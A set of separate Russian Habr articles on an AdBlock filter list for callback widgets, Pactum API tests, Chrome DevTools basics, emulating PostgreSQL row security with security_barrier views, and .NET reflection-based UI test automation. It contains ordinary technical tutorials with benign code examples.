Однажды мне понадобилось выбрать входную дверь, и я был в шоке, попав в доселе неведомый для меня мир виджетов обратных звонков, оказалось что они везде — на сайтах крупных строительных сетей, окон, дверей, строительных фирм, техники, всего, и ладно если бы они просто спокойно дожидались бы своего звездного часа, однако они всеми силами привлекают к себе внимание всеми мыслимыми и немыслимыми способами — кнопка «Позвонить» падает сверху вниз на страницу, мерцает, время от времени дергается, само открывается окно чата, где кто-то якобы набирает сообщение, форма для выпрашивания адреса e-mail выскакивает на весь экран сразу при заходе на сайт, и т. д., и ладно бы это было бы на паре сайтов из ста, но ради интереса я открыл все ссылки подряд по запросу «двери от производителя» на первой странице результатов поиска, и по состоянию на сентябрь 2020 года эти виджеты от различных сервисов подобного рода оказались установлены не «почти на всех сайтах», а реально на всех. Без исключения. Я не знаю эффективны ли они (однако лично мне захотелось сразу покинуть первый же такой сайт даже не ознакомляясь с ним), однако бизнес в этих сферах не слишком гибок для того, чтобы быстро подстраиваться под веяния времени, поэтому я уверен, что они будут еще очень долго висеть при нулевой и даже отрицательной эффективности.
В конечном итоге я решил создать свой список правил AdBlock для запрета таких виджетов на сайте. Он собирался мною вручную почти два года как путем самостоятельной идентификации их на сайтах, где используются такие сервисы (все-равно мне нужно было на них что-то искать, так что приятное с полезным), так и путем получения информации о них из различных статей из разряда «XX лучших виджетов обратного звонка». На сегодняшний день он умеет блокировать 32 ((!), надо сказать довольно известных, причем я уверен, что данный список все еще не полон) таких сервисов, и время от времени пополняется. Для его добавления в AdBlock проделайте следующее (настройки приводятся для браузера Google Chrome под Windows):
В настройках AdBlock выберите «Списки фильтров», проскролльте страницу до раздела «Пользовательские фильтры», и в поле «введите URL» введите `https://git.io/JUagx`
Если вдруг какой-то из сервисов оказался пропущен — пишите его название в комментариях, добавлю и его.
Рекомендую так же ознакомиться и с другими фильтрами на той странице, ибо многие из них отключены по дефолту, например, «Спрашивать о файлах cookie» для блокировки еще одной надоевшей уже всем вещи в виде уведомлений о том, что тот или иной сайт использует файлы cookie (причем работает!), и даже для отключения кнопок социальных сетей на сайтах, если вдруг кому-то нужно и такое.
Проект на GitHub: [github.com/acuna-public/CallbackWidgetsBlocker](https://github.com/acuna-public/CallbackWidgetsBlocker) Issues и пулл-реквесты приветствуются.
Вот и все. Комфортного серфинга всем! | https://habr.com/ru/post/519908/ | null | ru | null |
# Написание тестов API на JavaScript с Pactum
Я продолжаю повторять себе (как и некоторые участники тренировочных сессий), что как-то не ладится у меня с JavaScript. Может, дело во мне, а может, и в нем, но по какой-то причине мне не удается его понять до конца. И то, что в университетские годы я занимался более строго типизированными языками (в основном Java), видимо, мне не помогает.
Никто не отрицает, что JavaScript является популярным языком, и что существует большая потребность в навыках автоматизации на JavaScript. Поэтому я решил посвятить немного времени изучению языка и инструментам, доступным на данный момент.
Поскольку многие технические заметки в блогах, написанные мной, посвящены тому или иному тестированию API (включая мокинг API и контрактные тесты), до сих пор я не был особенно впечатлен библиотеками для тестирования API, доступными для JavaScript. Я решил, что будет хорошей идеей сделать этот момент отправной точкой.
Я большой фанат библиотек API, например — [REST Assured](https://rest-assured.io/) для Java и [requests](https://pypi.org/project/requests/) для Python, поскольку они оба упрощают написание тестов API.
Я не знал ни об одной JavaScript-библиотеке, которая была бы проста в использовании, до тех пор, пока я не увидел чью-то статью про [Pactum](https://pactumjs.github.io/#/) на LinkedIn (к сожалению, не смог ее найти, чтобы приложить ссылку). Pactum меня заинтересовал, и я решил его попробовать.
Мне определенно помогло то, что я решился выступить с презентацией на тему API тестирования на JavaScript для группы студентов, изучающих тестирование. Нет ничего лучше необходимости публичного выступления, чтобы тщательно не изучить какую-то новую тему.
Судя по документации, Pactum способен на многие вещи. Интегрированное тестирование, API мокинг, контрактное тестирование… здесь есть все. В этой статье я фокусируюсь на тех возможностях библиотеки, которые помогают провести тестирование API (интеграционное тестирование). Возможно, позже я исследую другие фичи Pactum-а и сделаю целую серию статей на эту тему.
Примеры, приведенные в этой статье, написаны с использованием [Jest](https://jestjs.io/) в качестве фреймворка тестирования.
Давайте начнем с самых основ тестирования API: выполнение GET-запроса к эндпоинту и проверка кодов ответа HTTP на запрос. В Pactum это может быть сделано так:
```
describe('Retrieving data for user with ID 1', () => {
test('should yield HTTP status code 200', async () => {
await pactum.spec()
.get('http://jsonplaceholder.typicode.com/users/1')
.expectStatus(200)
});
});
```
`pactum.spec()` раскрывает все методы, предлагаемые Pactum для построения запроса. Поскольку нам не нужно указывать что-либо с точки зрения заголовков, cookies или тела запроса, мы можем напрямую вызвать метод GET с помощью метода `get()` для эндпоинта по нашему выбору, а затем указать наши ожидания относительно ответа. В этом случае мы ожидаем, что код ответа будет 200, и это мы можем проверить с помощью метода `expectStatus()`.
Прогонка теста (с помощью `npm run test`, что в свою очередь вызывает Jest) показывает, что наши тесты прошли:
Далее, давайте посмотрим, сможем ли мы проверить значение в заголовке ответа, в данном случае Content-Type:
```
test('should yield Content-Type header containing value "application/json"', async () => {
await pactum.spec()
.get('http://jsonplaceholder.typicode.com/users/1')
.expectHeaderContains('content-type', 'application/json')
});
```
Метод `expectHeaderContains()` ищет заголовок ответа и проверяет, что его значение содержит предопределенное ожидаемое значение, в данном случае `application/json`. Обратите внимание на один момент — по какой-то причине имя заголовка нужно указать строчными буквами. Изначально я использовал “Content-Type”, но из-за этого тест провалился, потому что не смог найти заголовок по этому имени.
Если вам нужен метод, который выполняет точное совпадение, используйте `expectHeader()`.
Теперь давайте взглянем на тело ответа. Pactum отлично поддерживает формат JSON в теле ответа сервера, для других же форматов (простой текст, XML,...) поддержка по всей видимости ограничена сравнением на основе строк, а это значит, что вам придется немного больше проделать собственной работы. API во время тестов возвращает данные в формате JSON, поэтому это не проблема.
Предположим, мы хотим проверить, что в JSON-ответе элемент `name` на первом уровне вложенности содержит значение, равное “Leanne Graham”. Использование метода `expectJsonMatch()` в Pactum упрощает задачу:
```
test('should yield "name" JSON body element with value "Leanne Graham"', async () => {
await pactum.spec()
.get('http://jsonplaceholder.typicode.com/users/1')
.expectJsonMatch('name', 'Leanne Graham')
});
```
Первый аргумент метода `expectJsonMatch()` на самом деле является выражением [json-query](https://www.npmjs.com/package/json-query), поэтому его также можно использовать для извлечения вложенных объектов, например:
```
test('should yield "Gwenborough" as the city within the address', async () => {
await pactum.spec()
.get('http://jsonplaceholder.typicode.com/users/1')
.expectJsonMatch('address.city', 'Gwenborough')
});
```
Что насчет того, чтобы передавать данные в эндпоинт с помощью метода POST вместо того, чтобы получать и проверять данные из эндпоинта? Оказывается, что с Pactum это тоже можно легко сделать:
```
describe('Posting a new post item', () => {
test('should yield HTTP status code 201', async () => {
let new_post = {
"title": "My awesome new post title",
"body": "My awesome new post body",
"userId": 1
}
await pactum.spec()
.post('http://jsonplaceholder.typicode.com/posts')
.withJson(new_post)
.expectStatus(201)
});
});
```
Создать полезную нагрузку JSON так же просто, как создать его и добавить в запрос с помощью метода `withJson()`.
В качестве последнего примера: я часто наблюдаю, как с помощью библиотеки API просто создавать тесты, управляемые данными. Поскольку API часто раскрывает бизнес-логику, и зачастую вам понадобится несколько комбинаций входных данных и соответствующих ожидаемых выходных значений для проверки этой логики, управляемые данными тесты также довольно часто встречаются при написании тестов для API.
Теперь же Jest делает большую часть тяжелой работы за нас (подобно тому, как JUnit в Java или pytest в Python), поскольку дает механизм для управляемых данными тестов с помощью `test.each()`:
```
describe('Retrieving user data for users', () => {
test.each(
[[1,'Leanne Graham'], [2,'Ervin Howell'], [3,'Clementine Bauch']]
)('User with ID %i has name %s', async (userId, expectedName) => {
await pactum.spec()
.get('http://jsonplaceholder.typicode.com/users/{user}')
.withPathParams('user', userId)
.expectJsonMatch('name', expectedName)
});
});
```
Все, что нам надо добавить во время написания наших тестов на Pactum — это указать параметр path с помощью метода `withPathParams()` и использовать его для заполнения плейсхолдера `{user}` в эндпоинте. Этот механизм действительно похож на то, к чему я привык в работе с Java, C# и Python, благодаря чему я ценю Pactum (и Jest, и даже JavaScript в целом).
Запуск этого теста дает нам следующий результат:
Running a test in Pactum and seeing that it passesИз этой статьи вы узнали всего лишь небольшую часть того, что позволяет реализовать Pactum. Судя по [документации](https://pactumjs.github.io/#/welcome), с библиотекой можно делать гораздо больше, и я жду-не дождусь возможности в будущем изучить Pactum подробнее, особенно мокинг и возможности контрактного тестирования. Никогда не думал, что когда-нибудь скажу такое о библиотеке JavaScript…
Весь код и примеры, приведенные в статье, можно найти [на github](https://github.com/basdijkstra/api-testing-js-pactum).
---
Всех желающих приглашаем на открытое занятие «Типичное собеседование автоматизатора», на котором поговорим о софт-скиллах и хард-скиллах для удачного прохождения собеседования на автоматизатора тестирования на Java Script. Регистрация доступна [по ссылке.](https://otus.pw/63eE/) | https://habr.com/ru/post/669528/ | null | ru | null |
# Обзор Chrome DevTools. Решаем основные задачи веб-разработчика
Мы продолжаем цикл статей об инструментах разработчика — Chrome DevTools. В первых двух частях мы уже познакомились с вкладками [Elements](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-1?utm_source=habr&utm_medium=special&utm_campaign=devtools131021), [Console, Sources и Network](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-2?utm_source=habr&utm_medium=special&utm_campaign=devtools131021) и разобрались с их основными функциями.
Возможности Chrome DevTools огромны. С их помощью можно изменять анимацию, [проверять доступность](https://habr.com/ru/company/htmlacademy/blog/572502/?utm_source=habr&utm_medium=special&utm_campaign=devtools131021), отлавливать ошибки, следить за производительностью сайта и выполнять многие другие задачи. Но на начальных этапах обучения веб-разработке не обязательно разбираться со всеми функциями. Достаточно знать набор базовых инструментов, который понадобится для решения повседневных задач.
Давайте разберёмся, какие задачи можно решить с помощью Chrome DevTools
### Посмотреть, как выглядит страница с телефона и планшета
При создании адаптивных сайтов или веб-приложений полезно знать, как выглядит страница на планшете и мобильных устройствах. С помощью инструментов разработчика вы можете сделать это за несколько секунд. Для этого [откройте Chrome Devtools](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-1?utm_source=habr&utm_medium=special&utm_campaign=devtools131021), а затем кликните на иконку **Toggle device toolbar** в левом углу или нажмите комбинацию Ctrl+Shift+M:
Над страницей появится панель с режимами эмуляции из мобильных устройств и планшетов. По умолчанию панель инструментов открывается в режиме адаптивного окна просмотра. Чтобы изменить область до нужных размеров, задайте ширину или потяните за границы рабочей области. А если хотите увидеть, как страница отображается на конкретных устройствах, например, на iPhone 5, кликните на **Responsive** и выберите подходящий девайс.
Так выглядит страница в мобильной версииНа этой же панели есть еще одна полезная кнопка — **DPR** (Device Pixel Ratio). С её помощью проверяют, как выглядят изображения на ретина-дисплеях — экранах с повышенной плотностью. Чтобы посмотреть, как выглядит графика на разных устройствах, измените значение DPR и обновите страницу.
### Быстро изменить стили прямо на странице
В процессе разработки бывает удобно менять стили прямо в браузере. Например, чтобы проверить, как выглядит элемент с новыми CSS-правилами, или выровнять его при [вёрстке под PixelPerfect](https://htmlacademy.ru/blog/boost/tools/pixel-perfect?utm_source=habr&utm_medium=special&utm_campaign=devtools131021).
Менять стили в Chrome DevTools можно во вкладке **Elements**. Сначала выберите элемент, который хотите изменить. Для этого кликните по нему в дереве DOM или активируйте иконку выбора, а затем прямо на странице нажмите на этот элемент.
Меняем элемент прямо на страницеПосле этого в разделе Styles добавьте, удалите или поменяйте стилевые правила.
В разделе Styles также можно проверять, задавать и исправлять стилевые правила для `:hover`, `:active`, `:focus` и других псевдоклассов. Чтобы это сделать, выберите элемент, которому задано интерактивное состояние. Затем в разделе Styles нажмите на кнопку **: hov**, выберите подходящий псевдокласс и управляйте его стилями.
Изменяем стилевые правила для псевдоэлементов### Протестировать блоки на переполнение
Во вкладке Elements можно редактировать не только стили, но и DOM-дерево: добавлять и удалять элементы или блоки, менять текст, управлять атрибутами и классами. Это очень удобно, особенно если нужно протестировать какую-то гипотезу или проверить ошибки в вёрстке.
Одна из задач, выполняемых разработчикам с помощью Chrome DevTools — тестирование вёрстки на переполнение. То есть проверка, как ведут себя блоки и элементы при добавлении контента или изменении размеров страницы. Например, вы можете проверить, не выходит ли текст за рамки блока или не выпадают ли элементы из общего потока.
Популярный среди разработчиков мем и заодно пример того, как не нужно делать: вёрстка не должна ломаться при добавлении новых элементов, увеличении текста или изменении размеров страницы.
#### Как проверить элемент на переполнение текстом
Во вкладке Elements найдите в DOM-дереве элемент, кликните по нему два раза и добавьте текст:
Добавлять текст можно и на самой странице. Для этого откройте соседнюю вкладку **Console**, введите команду `document.body.contentEditable = true` и нажмите Enter. После запуска команды вы сможете нажать на элемент и отредактировать его.
Переполнение родительских блоковЧтобы проверить, не выпадают ли блоки из потока и сохраняется ли сетка, найдите родителя и ему добавьте несколько дополнительных дочерних элементов. Для этого кликните на одном из таких элементов правой кнопкой мыши и нажмите на **Duplicate Element**.
Пример переполнения: элементы выпадают из родительского блока.### Узнать, какие файлы подключены, и посмотреть их расположение
Порой разработчикам нужно проверить подключенные к проекту файлы и посмотреть их содержимое. В таких случаях на помощь приходит вкладка **Sources**:
Слева на панели находятся все загруженные ресурсы. Справа — редактор, в котором можно просмотреть любой из загруженных файлов, в том числе изображения. Здесь же можно редактировать CSS и JavaScript. При этом если вы редактируете скрипты, обязательно сохраняйте изменения с помощью команд **Command + S** для Mac или **Control + S** для Windows и Linux. Сохранять правки CSS не нужно, они сразу вступают в силу. Конечно, после перезагрузки страницы всё откатится до начального состояния.
*Меняем цвет фона во вкладке Sources*
### Понять, почему не работают скрипты
Если вы написали код на JavaScript и что-то пошло не так, ищите ошибки с помощью вкладок **Console** и **Sources**. Во вкладке **Console** отображаются сообщения об ошибках с указанием файла и строки, на которых находится баг. Если нажать на этот файл, документ сразу же откроется на нужной строке.
Здесь разработчик добавил лишнюю кавычку. Ошибка на первой строке в документе diseasmap.jsИногда бывает сложно разобраться, с чем связана ошибка и как её решить — особенно если вы только начали учиться разработке. В таких случаях приходится искать ответ в интернете: на форумах и профессиональных чатах.
Еще один способ найти и отладить ошибку — воспроизвести её. Используйте для этого точки останова, которые приостанавливают код в момент его выполнения.
#### Как использовать точки останова
Для начала откройте вкладку **Sources** и выберите файл со скриптом. Затем кликните по номеру строки, на которой вы хотите приостановить выполнение кода. Выбранные точки сразу появятся на панели справа в разделе **Breakpoints**.
Также можно пойти другим путём: кликните на **Event Listener Breakpoints** и выберите события, на которых нужно приостановить выполнение кода.
JavaScript выполняется последовательно. Когда Chrome дойдет до точек останова, он остановит выполнение скрипта, и вы сможете отследить, что происходит с кодом. Например, посмотреть значения переменных или разобраться с логикой функций. С этого момента только вы управляете кодом. Можете перейти к следующей точке, шагнуть внутрь функции или отключить точки останова. В этом вам помогут кнопки на панели справа.
Для чего они нужны, пойдем по порядку:
**Resume Script Execution** — продолжает выполнение скрипта до следующей точки останова. Горячая клавиша F8.
**Step over next function call** — выполняет строку кода и переходит к следующей функции. Горячая клавиша F10.
**Step into next call function call** — выполняет строку кода и затем ныряет внутрь функции — на первую строку. Горячая клавиша F11.
**Step out of current function** — выполняет до конца текущую функцию и останавливается на её последней строке. Горячая клавиша Shift + F11.
**Step** — по принципу действия похожа на Step into of current function. Но если Step into нужен для того, чтобы попасть внутрь функции, то Step просто выполнит её и покажет результат. Горячая клавиша F9.
**Deactivate breakpoints** — отключает точки останова. Горячая клавиша Ctrl + F8.
**Pause on exceptions** — выполнение JavaScript приостанавливается, когда появляется какое-то исключение.
### Проверить качество сайта
При разработке сайта важно позаботиться о том, чтобы он быстро загружался и был доступен для пользователей и поисковых систем. С помощью инструмента Lighthouse вы можете протестировать свой сайт на скорость, семантику, доступность, разметку и другие характеристики.
Lighthouse оценивает классические сайты по четырём критериям: производительность, лучшие практики, SEO и доступность. Для сайтов, выполненных по технологии PWA (прогрессивные веб-приложения), добавляется пятый критерий — progressive web app.
### Как использовать Lighthouse
Чтобы запустить проверку, перейдите во вкладку **Lighthouse** и нажмите на кнопку **Generate report**. Во время тестирования инструмент будет менять размеры браузера, имитировать отключение и подключение интернета и выполнять другие операции.
В конце вы получите оценки качества сайта по 100-балльной шкале: чем выше оценка, тем лучше. При этом на чистоту проверки могут влиять разные факторы, в том числе интернет-соединение и расширения Chrome. Поэтому лучше запускать тест в режиме инкогнито, закрыв остальные вкладки.
Запускаем Lighthouse
Результаты проверки.Ниже находятся показатели, которые повлияли на оценку, скриншоты поэтапной отрисовки страницы и предложения — что можно улучшить. Например, Lighthouse может предложить оптимизировать картинки и шрифты, включить отложенную загрузку графики, уменьшить неиспользуемый CSS и JavaScript или внести другие изменения. Каждое предложение подробно описано, можно даже перейти на отдельную страницу и прочитать о нём подробнее.
Lighthouse не единственный инструмент для оценки качества сайта. Есть и другие сервисы, например, [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/?hl=ru). Но он хорошо справляется со своей задачей, и его можно можно использовать при работе с сайтами на локальном сервере.
При оптимизации сайта в Chrome DevTools вы также можете использовать вкладку Network. Она поможет проанализировать загрузку страницы, посмотреть приоритет и вес загружаемых ресурсов, а также увидеть другую полезную информацию. Более подробно о ней мы рассказали в статье «[Введение в Chrome DevTools. Console, Sources, Network](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-2?utm_source=habr&utm_medium=special&utm_campaign=devtools131021)».
---
Chrome DevTools облегчает процесс разработки. И хотя начинающим разработчикам бывает непросто сразу разобраться во всех инструментах — это и не нужно. Сначала осваивайте базу и читайте [документацию](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-2?utm_source=habr&utm_medium=special&utm_campaign=devtools131021). А чтобы научиться применять Chrome DevTools на практике, попробуйте наши интенсивы «[HTML и CSS. Адаптивная вёрстка и автоматизация](https://htmlacademy.ru/intensive/adaptive?utm_source=habr&utm_medium=special&utm_campaign=devtools131021)» и «[JavaScript. Профессиональная разработка веб-интерфейсов](https://htmlacademy.ru/intensive/javascript?utm_source=habr&utm_medium=special&utm_campaign=devtools131021)». | https://habr.com/ru/post/577524/ | null | ru | null |
# Эмуляция безопасности строк в PostgreSQL 9.4
В PostgreSQL 9.5 появится декларативная безопасность строк. Вы можете задать правила для таблиц и сделать их выполнение автоматическим, к примеру, позволяя пользователю joe видеть только строки, у которых в поле owner стоит значение joe.
Это отличный инструмент и он уже давно должен был появиться. Этого не было сделано в PostgreSQL 9.4, зато было сделано с помощью автоматически обновляемых представлений [security\_barrier](https://github.com/postgres/postgres/commit/842faa714c0454d67e523f5a0b6df6500e9bc1a5). Они и [функции **LEAKPROOF**](http://www.postgresql.org/docs/current/static/sql-createfunction.html) формируют фундамент, на котором и построена безопасность строк. Вы можете использовать эти составляющие части без поддержки декларативной политики для достижения безопасности строк в 9.4.
Ранее я уже [обсуждал](http://habrahabr.ru/post/273167/) security\_barrier представления. Этот пост содержит в себе примеры того, как может произойти утечка информации из представления и как security\_barrier представления предотвращают такие утечки. Я предположу, что Вы знакомы с принципами, изложенными в оставшейся части статьи и не буду повторно устраивать демонстрацию того, как происходят утечки информации из представлений и т.д.
Для достижения схожего эффекта по отношению к политике безопасности строк в таблице, необходимо отменить доступ к таблице всем, кроме привилегированных (но не суперпользователей) ролей, которым вы хотели бы предоставить доступ к их собственным представлениям. После чего необходимо создать security\_barrier представление, которое принадлежит этой привилегированной роли, с условием WHERE, которое ограничивает возможность других пользователей видеть строки, опираясь на выбранный Вами предикат — можно использовать current\_user, вызов current\_setting и т.д.
Например::
```
CREATE ROLE secret_manager;
CREATE ROLE bob;
CREATE ROLE sid;
CREATE TABLE user_secrets(
secret_id integer primary key,
owner text not null,
secret text not null
);
ALTER TABLE user_secrets OWNER TO secret_manager;
INSERT INTO user_secrets (secret_id, owner, secret) VALUES
(1, 'bob', 'pancakes'),
(2, 'fred', 'waffles'),
(3, 'anne', 'cake'),
(4, 'sid', 'fraud');
REVOKE ALL ON user_secrets FROM public;
CREATE VIEW filtered_user_secrets
WITH (security_barrier)
AS
SELECT *
FROM user_secrets
WHERE owner = current_user
WITH CHECK OPTION;
ALTER VIEW filtered_user_secrets OWNER TO secret_manager;
GRANT ALL ON filtered_user_secrets TO public;
RESET ROLE;
```
Теперь давайте посмотрим как это работает:
```
test=# SET ROLE bob;
SET
test=> select * from filtered_user_secrets ;
secret_id | owner | secret
-----------+-------+----------
1 | bob | pancakes
(1 row)
test=> SET ROLE sid;
SET
test=> select * from filtered_user_secrets ;
secret_id | owner | secret
-----------+-------+--------
4 | sid | fraud
(1 row)
test=> SELECT * FROM filtered_user_secrets WHERE owner = 'bob';
secret_id | owner | secret
-----------+-------+--------
(0 rows)
test=> INSERT INTO filtered_user_secrets (secret_id, owner, secret) VALUES (5, 'sid', 'larceny');
INSERT 0 1
test=> select * from filtered_user_secrets ;
secret_id | owner | secret
-----------+-------+---------
4 | sid | fraud
5 | sid | larceny
(2 rows)
test=> INSERT INTO filtered_user_secrets (secret_id, owner, secret) VALUES (6, 'joe', 'impersonation');
ERROR: new row violates WITH CHECK OPTION for view "filtered_user_secrets"
DETAIL: Failing row contains (secret_id, owner, secret) = (6, joe, larceny).
```
Поведение очень похоже на политику безопасности строк, но с некоторыми оговорками:
* Использование ALTER к лежащей в основе таблице не внесет видимых изменений в представление. Для этого необходимо удалить и пересоздать представление.
* Это не прозрачно для приложений. Они должны использовать само представление, а не лежащую в основе таблицу.
Последний пункт может быть в какой-то степени решен с помощью схем и search\_path, например:
```
CREATE SCHEMA filtered_tables;
ALTER TABLE user_secrets SET SCHEMA filtered_tables;
-- Leave the view in the public schema and just rename it
ALTER TABLE filtered_user_secrets RENAME TO user_secrets;
```
Теперь клиенты могут взаимодействовать с представлением, не заботясь о том, что это всего лишь оболочка оригинальной таблицы.
Вместо того, чтобы использовать current\_user, можно использовать current\_setting('myapp.active\_user'). Если делать именно так, следует установить пустое значение по умолчанию на уровне базы, дабы current\_setting не выдавало ошибки, если настройка не определена (в версии 9.5 можно использовать current\_setting('myapp.active\_user', 't') для игнорирования недостающих записей). Например:
```
ALTER DATABASE mydatabase SET myapp_active_user = '';
```
**ВАЖНО:** имейте в виду, что если вы используете current\_setting в качестве предиката представления, политика безопасности не распространяется на определенные пользователем настройки конфигурации, так что любой пользователь, который имеет возможность выполнить произвольный SQL запрос — может изменить настройку. Это по прежнему остается полезным инструментом, когда все запросы проходят через приложение с полным контролем выполняемых запросов, но не подходит для ограничения действий пользователей, которые имеют прямой доступ к базе. То же самое применимо к использованию SET ROLE для переключения активного пользователя, когда в приложении используются объединенные подключения, так как любой пользователь просто может сделать RESET ROLE.
Намного проще использовать удобства защиты на уровне строк из версии 9.5, но если схожий функционал необходим прямо сейчас, то его уже можно достичь.
Для еще более старых версий PostgreSQL можно использовать SECURITY DEFINER plpgsql функции, которые возвращают запрос фильтрованного представления о базовой таблице. Производительность будет ужасная, потому что все строки, которые увидит пользователь, должны быть сначала выбраны, а потом отфильтрованы, так что большинство индексов не может быть использовано. Кроме того, вы можете использовать обычные представления, если Вы не предоставляете пользователям возможности определять собственные функции, так что утечки менее вероятны.
Безопасность строк и подходы, основанные на представлениях, в значительной степени будут в выигрыше от способности определять безопасные переменные, которые могут быть единовременно установлены и не могут быть сброшены, или могут быть установлены только определенной ролью (возможно с помощью SECURITY DEFINER функцией, которая совершает проверку на здравомыслие). Такого функционала не появиться в 9.5, но это может стать возможным с помощью какого-нибудь расширения, которое я надеюсь изучить позже. | https://habr.com/ru/post/273149/ | null | ru | null |
# Автоматизация тестирования Windows-приложений с использованием .Net
#### Автоматизация тестирования.
Тестирование – деятельность, выполняемая для оценки и улучшения качества программного обеспечения. Эта деятельность, в общем случае, базируется на обнаружении дефектов и проблем в программных системах.
Тестирование программных систем состоит из динамической верификации поведения программ на конечном (ограниченном) наборе тестов, выбранных соответствующим образом из обычно выполняемых действий прикладной области и обеспечивающих проверку соответствия ожидаемому поведению системы.
Основным подходом при тестировании программного обеспечения является тестирование «черного ящика». При данном подходе тестировщику неизвестно внутреннее устройство программы. Тестировщик взаимодействует с программой: вводит данные, нажимает кнопки, манипулирует другими визуальными компонентами и оценивает результаты.
Так как обычно полное тестирование невозможно или труднореализуемо, задача тестировщика подобрать данные и последовательность действий, на которых с наибольшей вероятностью могут проявиться ошибки тестируемой программы.
При разработке программного обеспечения тестировщики проводят большое количество одинаковых тестов при проведении приемочного и регрессионного тестирования. В связи с этим, автоматизация тестирования может позволить сэкономить множество человеко-часов. При проведении автоматизированного тестирования задача тестировщика – разработка набора тестов. При непосредственном проведении тестирования тестировщики могут заниматься более важными и интеллектуальными заданиями. Кроме того большие наборы тестовых заданий можно запускать ночью, что позволит интенсифицировать процесс разработки и снизит издержки проекта. Утром тестировщики анализируют результаты, уточняют или перепроверяют некоторые тесты и оформляют требуемые отчеты для передачи менеджеру проекта или разработчикам.
#### Механизмы платформы .Net
При разработке Windows-приложений на платформе .Net можно воспользоваться платформой для создания легковесного и гибкого инструмента, который будет запускать разработанные тесты. Не обязательно создавать полное решение, иногда имеет смысл быстрое создание набора автоматизированных тестов, которые будут заданы прямо в коде. Для быстрой модификации и добавления тестов необходимо создать и использовать сборку с различными методами, которые будут выполнять с пользовательским интерфейсом программы необходимые тестировщику действия.
При автоматизированном тестировании пользовательского интерфейса Windows-приложений возможны два решения. Первое из них основано на механизме отражения (Reflection).
Механизм отражения позволяет получать объекты, которые описывают сборки, модули и типы. Отражение можно использовать для динамического создания экземпляра типа, привязки типа к существующему объекту, а также получения типа из существующего объекта и вызова его методов или доступа к его полям и свойствам.
Второй подход основан на низкоуровневых функциях библиотек Win32 API: FindWindow, FindWindowEx, SendMessage, PostMessage и механизме P/Invoke (вызов неуправляемого кода).
Вызов неуправляемого кода — это служба, которая позволяет управляемому программному коду вызывать неуправляемые функции, реализованные в библиотеках динамической компоновки (DLL). Вызов неуправляемого кода обнаруживает и вызывает экспортируемую функцию.
Второй подход работает не только для .Net-приложений, но для любых Windows-приложений с пользовательским интерфейсом.
#### Тестируемое приложение
Тестируемое приложение складывает два целых числа и после нажатия на кнопку выводит результат. Если сложение не удалось по каким-либо причинам, вместо результата выводится слово “Error”.
[](https://habrastorage.org/storage/habraeffect/4c/0c/4c0c9152fc9b0c5eb4a6f599fbccdf53.png "Хабрэффект.ру")
[](https://habrastorage.org/storage/habraeffect/46/ea/46eaa0c5d95a15b8a87c091d8adad89a.png "Хабрэффект.ру")
Доступ к коду при тестировании «черного ящика» не требуется. Мы можем не использовать наш код и получить всю необходимую информацию из сборки и запущенного приложения. Но при доступе к коду некоторые процедуры упрощаются.
Приложение находится по адресу D:\visual studio 2010\Projects\WindowsFormsApplication1\WindowsFormsApplication1\bin\Debug\AUT.exe
Название AUT – общепринятое сокращение Application Under Testing.
#### Тестирование основанное на механизме отражения.
При использовании механизма отражения необходимо загрузить сборку, получить тип формы, создать экземпляр и запустить приложение с данной формой в новом потоке.
Если у тестировщика нет доступа к исходному коду, то можно использовать утилиту Reflector компании Red Gate’s. C ее помощью можно посмотреть названия формы, контролов и методов.
[](https://habrastorage.org/storage/habraeffect/96/31/963115ed292646a8014594c05bc5e7f4.png "Хабрэффект.ру")
Таким образом можно узнать, что класс формы называется Form1. Текстовые поля имеют названия textBox1и textBox2, кнопка – button1, вывод результата производится в Label с именем label1. Метод обработки нажатия на кнопку называется button1\_Click и принимает на вход параметры типа object и EventArgs.
Для создания автоматизированного теста данных знаний о внутреннем устройстве приложения достаточно.
Для повышения повторного использования кода создадим ряд классов и методов.
Запуск тестируемого приложения происходит с использованием метода StartApplication.
> `static Form StartApplication(string path, string formName)
>
> {
>
> Form result = null;
>
> Assembly a = Assembly.LoadFrom(path);
>
> Type t = a.GetType(formName);
>
> result = (Form)a.CreateInstance(t.FullName);
>
> ApplicationState aps = new ApplicationState(result);
>
> ThreadStart ts = new ThreadStart(aps.RunApp);
>
> Thread thread = new Thread(ts);
>
> thread.Start();
>
> return result;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
На вход передается путь к сборке и имя формы. Указанная сборка загружается, определяется тип формы, создается экземпляр формы и с его использованием запускается приложение в новом потоке: указывается делегат и метод для запуска в новом потоке.
**Класс ApplicationState.**
> `class ApplicationState
>
> {
>
> public readonly Form formToRun;
>
>
>
> public ApplicationState(Form f)
>
> {
>
> this.formToRun = f;
>
> }
>
>
>
> public void RunApp()
>
> {
>
> Application.Run(formToRun);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для повторного использования необходимо определить ряд методов, полей и делегатов.
> `static BindingFlags flags = BindingFlags.Public |
>
> BindingFlags.NonPublic |
>
> BindingFlags.Static |
>
> BindingFlags.Instance;
>
>
>
> delegate void SetControlPropertyValueHandler(Form f, string controlName, string propertyName, object newValue);
>
>
>
> static void SetControlPropertyValue(Form f, string controlName, string propertyName, object newValue)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> f.Invoke(
>
> new SetControlPropertyValueHandler(SetControlPropertyValue),
>
> new object[] { f, controlName, propertyName, newValue }
>
> );
>
> }
>
> else
>
> {
>
> Type t1 = f.GetType();
>
> FieldInfo fi = t1.GetField(controlName, flags);
>
> object ctrl = fi.GetValue(f);
>
> Type t2 = ctrl.GetType();
>
> PropertyInfo pi = t2.GetProperty(propertyName);
>
> pi.SetValue(ctrl, newValue, null);
>
> }
>
> }
>
> static AutoResetEvent are = new AutoResetEvent(false);
>
> delegate void InvokeMethodHandler(Form f, string methodName, params object[] parms);
>
> static void InvokeMethod(Form f, string methodName, params object[] parms)
>
> {
>
> if (f.InvokeRequired)
>
> {
>
> f.Invoke(
>
> new InvokeMethodHandler(InvokeMethod),
>
> new object[] { f, methodName, parms }
>
> );
>
> }
>
> else
>
> {
>
> Type t = f.GetType();
>
> MethodInfo mi = t.GetMethod(methodName, flags);
>
> mi.Invoke(f, parms);
>
> are.Set();
>
> }
>
> }
>
> delegate object GetControlPropertyValueHandler(Form f, string controlName, string propertyName);
>
